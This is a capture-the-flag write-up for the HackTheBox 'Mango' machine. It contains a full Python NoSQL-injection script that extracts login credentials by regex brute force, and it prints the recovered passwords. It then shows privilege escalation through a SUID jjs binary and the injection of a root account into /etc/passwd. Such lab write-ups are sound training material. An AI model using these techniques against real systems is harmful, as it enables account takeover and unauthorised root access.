Welcome to the Mango writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


Mango

tags: HTB Medium Linux OSCP
Platform: Hackthebox
Difficult: Medium
S.O.: Linux

Enumeration

Nmap

To get started, we run a quick open ports scan.

$ nmap -Pn -T4 -p- mango.htb
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-04 20:19 CEST
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.089s latency).
Not shown: 65527 closed ports
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    filtered http
111/tcp   filtered rpcbind
443/tcp   open     https
1025/tcp  filtered NFS-or-IIS
25117/tcp filtered unknown
43154/tcp filtered unknown
53643/tcp filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 112.32 seconds

Now that we know the open ports, let's scan them in depth.

$ nmap -A -Pn -p 22,80,111,443,1025,25117,43154,53643 mango.htb
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-04 20:21 CEST
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.089s latency).

PORT      STATE  SERVICE    VERSION
22/tcp    open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp    open   http       Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
111/tcp   closed rpcbind
443/tcp   open   ssl/ssl    Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
1025/tcp  closed NFS-or-IIS
25117/tcp closed unknown
43154/tcp closed unknown
53643/tcp closed unknown
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=7/4%OT=22%CT=111%CU=40004%PV=Y%DS=2%DC=T%G=Y%TM=60E1FC
OS:57%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OP
OS:S(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST
OS:11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)EC
OS:N(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 43154/tcp)
HOP RTT      ADDRESS
1   88.39 ms 10.10.14.1
2   88.52 ms mango.htb (10.10.10.162)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.92 seconds

Port 443

Inside port 443 we find a website like Google!

SSLScan

Enumerating the SSL sert we can find the subdomain staging-order.mango.htb.

$ sslscan https://mango.htb
[...]
SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength:    2048

Subject:  staging-order.mango.htb
Issuer:   staging-order.mango.htb

Not valid before: Sep 27 14:21:19 2019 GMT
Not valid after:  Sep 26 14:21:19 2020 GMT

Exploitation

Password cracking

In the access form of the subdomain staging-order.mango.htb if we login with a wrong user it shows the same as if we do not enter anything so we can deduce that if we match the credentials we will get a 302 Found so maybe work with NoSQL. Let's try to extract the password using REGEX.

import string, re, sys, requests

s = requests.session()
url = "http://staging-order.mango.htb:80/"
cookies = {"PHPSESSID": "f08mrkdeqcpkr9vsamb07rjasb"}
headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Referer": "http://staging-order.mango.htb/", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
clear = "\033[F\033[K"

def getCharset(possition):
    charset = []
    for char in string.printable:
        if possition == 'username':
            data = {"username[$regex]": ".*"+char+".*", "password[$ne]": "password", "login": "login"}
        else:
            data = {"username[$ne]": "username", "password[$regex]": ".*"+char+".*", "login": "login"}
        r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
        if r.status_code == 302:
            charset.append(char)
    return charset

def getUsernameLength(s, url, cookies, headers, char):
    length = 0
    for i in range(1, 500):
        print('{clear}Trying username length starting with "{char}": {len}'.format(clear=clear, char=char, len=i))
        data = {"username[$regex]": "^"+char+"[\w|\W|\d|\D]{"+str(i)+"}", "password[$ne]": "password", "login": "login"}
        r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
        if r.status_code != 302:
            length = i
            break
    print('{clear}Username length starting with "{char}" found: {len}\n'.format(clear=clear, char=char, len=length))
    return length

def getUsernames(s, url, cookies, headers):
    print('{clear}Getting usernames charset...'.format(clear=clear))
    uCharset = getCharset('username')
    print('{clear}Getting passwords charset...'.format(clear=clear))
    pCharset = getCharset('password')
    for uChar in uCharset:
        if uChar != '':
            print('{clear}Trying username start with: {ch}'.format(clear=clear, ch=uChar))
        data = {"username[$regex]": "^"+re.escape(uChar)+".*", "password[$ne]": "password", "login": "login"}
        r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
        if r.status_code == 302:
            length = getUsernameLength(s, url, cookies, headers, uChar)
            username = uChar
            for i in range(1, length):
                found = False
                for pChar in uCharset:
                    print('{clear}Trying username "{user}"'.format(clear=clear, user=username+pChar))
                    data = {"username[$regex]": "^"+re.escape(username+pChar)+".*", "password[$ne]": "password", "login": "login"}
                    r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
                    if r.status_code == 302:
                        username += pChar
                        found = True
                        break
                if not found:
                    break
            getPasword(s, url, cookies, headers, username, pCharset)

def getPasswordLength(s, url, cookies, headers, username):
    length = 0
    for i in range(1, 500):
        print('{clear}Trying password length {len} for username "{user}"'.format(clear=clear, len=i, user=username))
        data = {"username": username, "password[$regex]": "^[\w|\W|\d|\D]{"+str(i)+"}", "login": "login"}
        r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
        if r.status_code != 302:
            length = i
            break
    print('{clear}Password length for username "{user}" found: {len}\n'.format(clear=clear, user=username, len=length))
    return length

def getPasword(s, url, cookies, headers, username, pCharset):
    length = getPasswordLength(s, url, cookies, headers, username)
    passwd = ''
    for i in range(1, length):
        found = False
        for char in pCharset:
            print('{clear}Trying password {passAct} for username {user}'.format(clear=clear, passAct=passwd+char, user=username))
            data = {"username": username, "password[$regex]": "^"+re.escape(passwd+char)+".*", "login": "login"}
            r = s.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)
            if r.status_code == 302:
                passwd += char
                found = True
                break
        if not found:
            break
    print('{clear}Username: {user} - Password: {passw}\n'.format(clear=clear+clear+clear, user=username, passw=passwd))

print('\n')
getUsernames(s, url, cookies, headers)
print(clear)
$ python3 noSQLi2.py

Username: admin - Password: t9KcS3>!0B#2
Username: mango - Password: h3mXK8RhU~f{]f5H

Cool! We already have two credentials. As we could see in the Nmap scanner, SSH is active so, let's try to connect with them.

$ ssh [email protected]
[email protected]`s password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jul 18 07:09:34 UTC 2021

  System load:  0.0                Processes:            97
  Usage of /:   25.8% of 19.56GB   Users logged in:      0
  Memory usage: 13%                IP address for ens33: 10.10.10.162
  Swap usage:   0%

 * Kata Containers are now fully integrated in Charmed Kubernetes 1.16!
   Yes, charms take the Krazy out of K8s Kata Kluster Konstruction.

     https://ubuntu.com/kubernetes/docs/release-notes

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Last login: Mon Sep 30 02:58:45 2019 from 192.168.142.138
[email protected]:~$ id
uid=1000(mango) gid=1000(mango) groups=1000(mango)
[email protected]:~$
[email protected]:~$ cd ..
[email protected]:/home$ ls
admin  mango
[email protected]:/home$ cd admin/
[email protected]:/home/admin$ ls
user.txt

The user flag has the user admin. Let's access with it.

$ ssh [email protected]
[email protected]'s password: 
Permission denied, please try again.

Ouch, we can not access by SSH as admin, may have restricted SSH access. We try doing su

[email protected]:~$ su admin
Password: 
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
$ cat user.txt  
cat: user.txt: No such file or directory
$ /bin/bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

[email protected]:/home/mango$ cd 
[email protected]:/home/admin$ cat user.txt 
27e629a497c2d0b2358da632bc1c7662
[email protected]:/home/admin$

Now yes, we have access as admin and we can read the user flag!

Post exploitation

Privilege escalation: admin to root

Enumeration

SUID

[email protected]:/home/admin$ find / -perm /4000 2>/dev/null
[...]
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
[...]
[email protected]:/home/admin$

As we can see, we can run a console jjs with privileges root.

And if we look in the official documentation, we see that we can run System Commands if we access jjs with Active scripting mode.

Exploitation

[email protected]:/home/admin$ /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs -scripting
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> $EXEC("id")
uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)

jjs> $EXEC("cat /root/root.txt")
3f5697c9e39179bc95f552af942c6ed0

Nice!, Now we have the root flag but, let's try to take full control of the box becoming roo, right?
Let's try to inject a privileged user in the file /etc/passwd.

[email protected]:/home/admin$ /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs -scripting
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> var FileWriter=Java.type("java.io.FileWriter");
jjs> var Files = Java.type('java.nio.file.Files');
jjs> var Paths = Java.type('java.nio.file.Paths');
jjs> var content = new java.lang.String(Files.readAllBytes(Paths.get("/etc/passwd")));
jjs> var fw = new FileWriter("/etc/passwd");
jjs> fw.write(content + "x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash\n");
jjs> fw.close();
jjs> 
[email protected]:/home/admin$

We are going to check if it has been injected...

[email protected]:/home/admin$ tail -n 2 /etc/passwd
mongodb:x:111:65534::/home/mongodb:/usr/sbin/nologin
x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash

And we are going to authenticate us with it!

[email protected]:/home/admin$ su x4v1l0k
Password: 
[email protected]:~# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:~#